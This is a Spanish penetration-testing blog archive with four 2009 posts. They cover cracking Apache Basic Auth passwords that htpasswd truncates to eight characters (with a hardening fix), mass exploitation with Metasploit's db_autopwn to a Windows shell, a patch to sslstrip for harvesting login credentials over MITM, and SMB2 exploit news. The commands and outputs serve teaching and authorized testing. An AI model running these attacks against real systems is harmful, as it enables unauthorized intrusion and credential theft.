lunes, 26 de octubre de 2009

Basic? y tan Basic...

Basic Authentication es un medio de autenticación en entornos web basada en usuario y contraseña muy común cuando el administrador o el desarrollador quieren controlar el acceso a determinada parte de una web por tratarse de la zona de administración o, en general, de una zona privada. Sin embargo, utilizar este tipo de autenticación puede llevarnos a tener algunos problemas, como vamos a comprobar.

Vamos a ver un pequeño ejemplo muy común sobre servidor Apache que me encuentro con mucha frecuencia durante la realización de test de intrusión. Para ello lo primero que tenemos que hacer que hacer es crear el fichero .htaccess en el directorio que queramos proteger con el siguiente contenido:

# cat /var/www/.htaccess
AuthType Basic
AuthName "Password Required"
AuthUserFile /var/passwd.file
Require User admin


Una vez creado este fichero en el que decimos que al actual directorio solo puede acceder el usuario "admin" según las credenciales del fichero passwd.file, tendremos que crear este fichero passwd.file, empleando típicamente el siguiente comando:

# htpasswd -c passwd.file admin
New password: completamente.1NS3GuR0
Re-type new password: completamente.1NS3GuR0
Adding password for user admin
#
# cat passwd.file
admin:I5kjirKBkSgLM


Una vez creado este fichero, ya podemos acceder a la web y nos aparecerá la ventana de autenticación. Este mismo entorno es el que nos encontraremo muchas veces al realizar test de intrusión.

Sin embargo, a pesar de tratarse de una contraseña fuerte (17 carcteres con mayúsculas, minúsculas, números y signos de puntuación), el funcionamiento por defecto del comando htpasswd puede arruinar una buena contraseña. Según podemos leer en la propia documentación de Apache, el cifrado por defecto de las claves en Apache sobre Unix es mediante la utilización de la función CRYPT, que toma como valores de entrada un número aleatorio de 32 bits (salt) y los 8 primeros caracteres de la contraseña.

Este funcionamiento quiere decir que podemos simplificar el intento de obtención de una contraseña por medio de fuerza bruta o diccionario contra un servidor web Apache sobre Unix que haya empleado el mecanismo por defecto para generar la contraseña (algo muy muy muy habitual).

Cómo ejemplo, en primer lugar vamos a coger un diccionario estandar y vamos a utilizar la potencia que nos da John The Ripper para convertirlo en un diccionario de palabras truncadas hasta 8 caracteres y de paso que nos genere variaciones de mayusculas y minúsculas y otras lindezas que hace JTR. Utilizaremos como diccionario estandar uno de castellano, por ejemplo este:

# /pentest/password/jtr/john --wordlist=/root/spanish --rules --stdout=8 | uniq > /root/basiccrypt.lst
words: 1609221 time: 0:00:00:03 100% w/s: 484705 current: Zuzing
real 0m3.328s user 0m3.056s sys 0m0.232s


Una vez que ya tenemos nuestro diccionario preparado para basic, sólo tenemos que llamar a alguna de las miles de herramientas que realizar ataques de diccionario contra autenticación basic, como por ejemplo Medusa:

# time medusa -h 127.0.0.1 -u admin -P /root/basiccrypt.lst -M http | grep -v "ACCOUNT CHECK:"
Medusa v1.4 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks

ACCOUNT FOUND: [http] Host: 127.0.0.1 User: admin Password: completa [SUCCESS]

real 0m17.745s
user 0m3.036s
sys 0m3.708s


Como podemos ver, aunque estamos atacando un servidor web en local y por lo tanto el tiempo va a ser mucho más rápido que a través de Internet o en LAN, en no llega a 18 segundos hemos encontrado la contrasela completa como contraseña válida para el usuario admin, es decir, la contraseña que habiamos elegido pero truncada a 8 caracteres, con lo que ha perdido toda su fortaleza. Comprobemos si con esa contraseña efectivamente podemos entrar a la web:





Efectivamente, el funcionamiento por defecto del comando htpasswd de Apache sobre Unix nos ha hecho perder toda la fortaleza de la contraseña que habiamos elegido, lo cual puede facilitar a un intruso (o en mi caso a un pentester) el acceso a zonas privadas mediante un ataque de diccionario o incluso de fuerza bruta, limitando la longitud de la contraseña a 8 caracteres.

Para solucionar estos problemas, es necesario usar las opciones que nos proporciona el comando htpasswd para generar los hashes de las contraseñas. Veamos la ayuda del comando:

# htpasswd --help
Usage:
htpasswd [-cmdpsD] passwordfile username
htpasswd -b[cmdpsD] passwordfile username password

htpasswd -n[mdps] username
htpasswd -nb[mdps] username password
-c Create a new file.
-n Don't update file; display results on stdout.
-m Force MD5 encryption of the password.
-d Force CRYPT encryption of the password (default).
-p Do not encrypt the password (plaintext).
-s Force SHA encryption of the password.
-b Use the password from the command line rather than prompting for it.
-D Delete the specified user.
On Windows, NetWare and TPF systems the '-m' flag is used by default.
On all other systems, the '-p' flag will probably not work.


Por lo tanto, en lugar de usar las opciones por defecto, deberemos utilizar la opción que fuerza la utilización de SHA-1 para la generación de los hashes de las contraseñas, ya que de esta manera nuestra contraseña SI será tenida en cuenta en su totalidad, y las posibilidades de ataque se reducirán a la fortaleza de la contraseña que elijamos.

# htpasswd -c -s passwd.file admin
New password: completamente.1NS3GuR0
Re-type new password: completamente.1NS3GuR0
Adding password for user admin
#
# cat passwd.file
admin:{SHA}5Gi3c8394E/ruP7fIOVze6ZnJeM=

Si ahora volvemos a intentar entrar con la contraseña "completa" veremos que se nos deniega el acceso, por lo que deberemos obtener la contraseña real completa si queremos acceder al contenido protegido por la autenticación basic.

Un negativo para Apache por implementar en su comando una funcionalidad por defecto con estas características.

A cambiar hashes se ha dicho!!

domingo, 18 de octubre de 2009

Autopwn, la artillería pesada de Metasploit


Indudable es, que la Metasploit, se ha convertido en una de las herramientas imprescindibles para la auditoría lógica y test de penetración. En este post vamos a centrarnos en su función autopwn o como vulgarmente se le podría definir la “metralleta” de exploits.

Metasploit y función db_autopwn, hacen servir una base de datos (mysql, sqlite3 o postgres soportadas) para albergar el listado de hosts y servicios que queramos auditar de forma automática, permitiendo agilizar el proceso de explotación y penetración de forma sustancial. La manera de alimentar a base de datos con posibles victimas puede partir de nmap o del resultado de un .nbe de Nessus.

En primera instancia vamos a ver como habilitar la funcionalidad “db”, dado que por defecto si Metasploit no encuentra las librerias de Ruby asociadas a la base de datos que vamos a utilizar no será visible para el usuario esta funcionalidad extendida. Para comprobar si se tiene instaladas las dependencias necesarias tan solo tecleamos en la consola de Metasploit “help”, si su resultado es como el siguiente es posible (digo es posible porque a veces no se tiene completaente satisfechas las dependencias) utilizar las funciones extendidas “db”.

| | _) |
__ `__ \ _ \ __| _` | __| __ \ | _ \ | __|
| | | __/ | ( |\__ \ | | | ( | | |
_| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|


=[ msf v3.3-dev [core:3.3 api:1.0]
+ --=[ 412 exploits - 261 payloads
+ --=[ 21 encoders - 8 nops
=[ 191 aux

msf > help
Core Commands
=============

Command Description
------- -----------
? Help menu
back Move back from the current context

[...]
unsetg Unsets one or more global variables
use Selects a module by name
version Show the framework and console library version numbers


Database Backend Commands
=========================

Command Description
------- -----------
db_connect Connect to an existing database
db_create Create a brand new database
db_destroy Drop an existing database
db_disconnect Disconnect from the current database instance
db_driver Specify a database driver

En el caso de que no apareciera el menu “Database Backend Commands” y suponiendo que estamos en un entorno Debian procedeos a instalar los siguientes paquetes con sus dependencias:

aptitude install sqlite3 libsqlite3-ruby libdbd-sqlite3-ruby libopenssl-ruby nmap

Muy bien, una vez instalado lo anterior procedemos a seleccionar el entorno de base de datos que Metasploit manejará, para ello usaos el comando “db_driver”

msf > db_driver
[*] Active Driver: sqlite3
[*] Available: sqlite3, mysql

En este caso el driver utilizado es sqlite3, si quisiéramos usar mysql, por ejemplo, tecleariamos:

msf > db_driver mysql
[*] Using database driver mysql

A continuación lo que tenemos que hacer es crear la base de datos mediante el comando “db_create nombre”

msf > db_create pentester.es
[*] Creating a new database instance...
[*] Successfully connected to the database
[*] File: pentester.es

Este comando crea y nos conecta a la bd, en el caso de que quisiéramos utilizar una ya existente utilizariamos “db_connect nombre”

msf > db_connect pentester.es
[*] Successfully connected to the database
[*] File: pentester.es

Ahora nos queda “nutrir” a sqlite3 con los host y servicios que queremos auditar para ello nos apoyaremos en el comando “db_nmap”, que no hace otra cosa que llamar a nmap dentro del entorno de Metasploit. En este caso vamos a analizar al host 192.168.2.2.

msf > db_nmap -n -sT -PN 192.168.2.2

[*] exec: "/usr/bin/nmap" "-n" "-sT" "-PN" "192.168.2.2" "-oX" "/tmp/dbnmap20091018-3147-2qv7ko-0"
NMAP:
NMAP: Starting Nmap 4.62 ( http://nmap.org ) at 2009-10-18 22:50 CEST
NMAP: Interesting ports on 192.168.2.2:
NMAP: Not shown: 1709 closed ports
NMAP: PORT STATE SERVICE
NMAP: 53/tcp open domain
NMAP: 80/tcp open http
NMAP: 139/tcp open netbios-ssn
NMAP: 389/tcp open ldap
NMAP: 445/tcp open microsoft-ds
NMAP: 8080/tcp open http-proxy
NMAP:
NMAP: Nmap done: 1 IP address (1 host up) scanned in 2.232 seconds

En este momento Metasploit ha introducido el host 192.168.2.2 y todos sus servicios en la bd. Para comprobarlo podemos usar db_hosts (muestra la maquinas target) y db_services (servicios a auditar para cada maquina)

msf > db_hosts
[*] Time: Sun Oct 18 22:50:33 +0200 2009 Host: 192.168.2.2 Status: alive OS:

msf > db_services
[*] Time: Sun Oct 18 22:50:33 +0200 2009 Service: host=192.168.2.2 port=53 proto=tcp state=up name=domain
[*] Time: Sun Oct 18 22:50:33 +0200 2009 Service: host=192.168.2.2 port=80 proto=tcp state=up name=http
[*] Time: Sun Oct 18 22:50:33 +0200 2009 Service: host=192.168.2.2 port=139 proto=tcp state=up name=netbios-ssn
[*] Time: Sun Oct 18 22:50:33 +0200 2009 Service: host=192.168.2.2 port=389 proto=tcp state=up name=ldap
[*] Time: Sun Oct 18 22:50:33 +0200 2009 Service: host=192.168.2.2 port=445 proto=tcp state=up name=microsoft-ds
[*] Time: Sun Oct 18 22:50:33 +0200 2009 Service: host=192.168.2.2 port=8080 proto=tcp state=up name=http-proxy

Ya tenemos el objetivo seleccionado, ahora ya tan solo nos queda soltar la metralleta mediate “db_autopwn -t -e -p”. A continuación Metasploit seleccionará todos los exploits disponibles para los servicios almacenados en la bd y solo los que afecten a los puertos seleccionados.

> db_autopwn -t -p -e
[*] Analysis completed in 8.36183190345764 seconds (0 vulns / 0 refs)
[*] Matched exploit/unix/webapp/guestbook_ssi_exec against 192.168.2.2:80...
[*] (1/142): Launching exploit/unix/webapp/guestbook_ssi_exec against 192.168.2.2:80...
[*] Matched exploit/windows/http/savant_31_overflow against 192.168.2.2:80...
[*] (2/142): Launching exploit/w [...]

Como vemos Metaesploit ha seleccionado 142 exploits que afectan a los servicios descubiertos, lanzando uno tras otro cual AK-47.

Pero ¿como podemos saber si un exploit lanzado ha tenido exito? Pues con el comando “sessions -l ” se muestran las shells que se han conseguido. Como se puede observar se han conseguido 1 acceso al sistema por 1 exploit que han tenido éxito.

msf > sessions -l

Active sessions
===============
Id Description Tunnel
– ———– ——
1 Command shell 192.168.2.3 -> 192.168.2.2

Para seleccionar una sesión en concreto

msf > sessions -i 1
[*] Starting interaction with 1…
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>

Este tipo de aproximaciones son bastante arriesgadas dentro de un proceso de pentesting ya que si se ha acordado con el cliente que se producirán las menores DoS posibles este proceso podría tumbar varios servicios o máquinas. Pero si se dispone de libre actuación, la siguiente aproximación sería muy interesante para hacerse con numerosos hosts de la red.

msf > db_nmap -p 445,139 -PN -sS -n 192.168.2.0/24

En un entorno con una política de parcheo “amigable” para el auditor el numero de host Windows afectados por la MS08-067 nos daría muchas alegrias ;)

Saludos Pentesteros.

martes, 13 de octubre de 2009

Parche (propio) para SSLStrip

Hace algunas semanas, durante un pentest, me vi en la situación de tener que usar sslstrip (ya hablamos de él hace unos meses) para intentar hacerme con algunas contraseñas de un formulario de login al que todo el mundo accedía directamente a través de la dirección HTTP que era redireccionada automáticamente a HTTPS de ese mismo servidor, en el que ya se podía acceder al formulario de autenticación.

Sorprendentemente para mi, la herramienta de Moxie no parecía funcionar correctamente, devolviendome un error como el siguiente:



Como podemos ver, sslstrip está cambiando incorrectamente la URL devuelta por el servidor web original de tal manera que nos direcciona a una URL en la que él no está escuchando, y por tanto no puede completar el Man-in-the-Middle.

A la vista de este error, lo primero es ver que está respondiendo el servidor web original para ver si puede haber algo que este provocando el mal funcionamiento de la herramienta:

# nc 172.16.24.142 80
GET / HTTP/1.0

HTTP/1.1 301 Moved Permanently
Date: Thu, 08 Oct 2009 17:23:54 GMT
Server: Apache/2.2.9 (Fedora)
Location: https://172.16.24.142:443/
Content-Length: 308
Connection: close
Content-Type: text/html; charset=iso-8859-1


Como podemos ver, el campo location nos está redirigiendo a la web https://172.16.24.142:443/, lo cual no deja de ser una redundancia ya que el puerto 443 es el puerto por defecto del protocolo HTTPS, pero que puede ser el causante de los problemas que hemos estado teniendo.

Sabiendo esto podemos intuir que Moxie no pensó en esta redundancia, y que por tanto su software sustituye perfectamente los enlaces https por http, pero no realiza ninguna modificación sobre los puertos.

Aprovechando que sslstrip está programado en un lenguaje interpretado como es python, nos vamos al código e intentamos buscar la zona en la que se realiza la substitución, de la siguiente manera:

# pwd
/root/sslstrip-0.6
#
# grep -ri "https" *
setup.py: description = 'A MITM tool that implements Moxie Marlinspike\'s HTTPS stripping attacks.',
sslstrip/ServerConnection.py: from HTTPS to HTTP.
sslstrip/ServerConnection.py: urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE)
sslstrip/ServerConnection.py: urlType = re.compile(r"https://", re.IGNORECASE)
sslstrip/ServerConnection.py: url = url.replace('https://', 'http://', 1)
Binary file sslstrip/StrippingProxy.pyc matches
Binary file sslstrip/ServerConnection.pyc matches
sslstrip/StrippingProxy.py: We then proxy these out using HTTP or HTTPS depending on what information we have about


Según los resultado del comando, el fichero sslstrip/ServerConnection.py parece ser el único encargado de reemplazar en las URLs gestionadas por sslstrip la cadena HTTPS por HTTP. Si abrimos el fichero y buscamos esa misma cadena nos encontramos con el siguiente código:

[...]
url = url.replace('https://', 'http://', 1)
url = url.replace('&', '&')
self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
[...]


Como podemos ver, "url" es una cadena en la que se van guardando las URLs existentes en la comunicació HTTP (previamente detectadas mediante una expresión regular, aunque eso no se ve en este pequeño trozo de código). Dicha cadena es modificada convenientemente para que los enlaces a través de HTTPS sean redirigidos a HTTP, donde estará escuchando sslstrip. Por último, ese enlace es guardado en un objeto "urlMonitor" que parece ser el encargado de las sustituciones posteriores.

Por lo tanto, para hacer que también desaparezca ese ":443" que nos encontramos en nuestro caso, añadimos la siguiente linea resaltada en negrita (sustituye ':443' por '' 1 sola vez):

[...]
url = url.replace('https://', 'http://', 1)
url = url.replace(':443', '', 1)
url = url.replace('&', '&')
self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
[...]


Guardamos el script python que hemos modificado al salir y volvemos a relanzar sslstrip de la misma manera que explicamos en nuestro anterior post, y esta vez...



BINGO! Parece que ese era el problema. Desde luego no es una solución elegante ni perfecta, pero para éste caso me ha valido perfectamente y he podido hacerme con algunas contraseñas :)

He notificado a Moxie del problema pero por el correo que me envió parece que lo ha considerado un problema menor (realmente lo es), así que mientras que saque una versión que corrija este tipo de problemas podeis aplicar la misma solución que yo.

miércoles, 7 de octubre de 2009

SMB2: Ejecutar o no ejecutar...

Hace algunas semanas pusimos un post en el que explicabamos como utilizar la metasploit para provocar una denegación de servicio en máquinas con Windows Vista / Windows Server 2008 con el servicio SMB disponible a través de la red. Sin embargo, la denegación de servicio solo era la punta del iceberg, puesto que era previsible que en poco tiempo empezarían a aparecer los primeros exploits de ejecución de código de forma remota, bien sea publicado, bien sea "on-the-wild".

En la actualidad, Immunity ha desarrollado para CANVAS (su Framework de Explotación comercial) un exploit para esta vulnerabilidad que permite la ejecución remota de código, aunque por supuesto solo está disponible para los poseedores de una licencia de este producto (que envidia!!).

Como alternativa libre, Metasploit ha publicado para su framework libre un exploit que debería permitirnos la ejecución de código a través de esta vulnerabilidad. Sin embargo, tras probarlo repetidamente, yo no he conseguido que ejecute código ni tan siquiera que provoque una denegación de servicio al intentarlo, por lo que supongo que su desarrollo aún se encuentra en un estado bastante "beta". De hecho, este post me hubiera gustado que fuera "como realizar ejecución de código a través del bug de SMB2 en Vista/2008 Server", pero que le vamos a hacer, lo dejaré para un poco más adelante ;)

Por otro lado, Piotr Bania ha publicado en su blog personal un video en el que demuestra haber desarrollado un exploit que permite la ejecució de código. Además, también publicó a través del blog de Metasploit la explicación de como desarrolló el exploit, aunque simultaneamente en su blog publicó que algunos detalles de la explotación han sido intencionadamente omitidos y que no va a publicar el exploit, aunque es previsible que con la información aportada pronto tengamos un exploit de Metasploit que utilice esta técnica para la ejecución de código.

Alguien se anima? ;)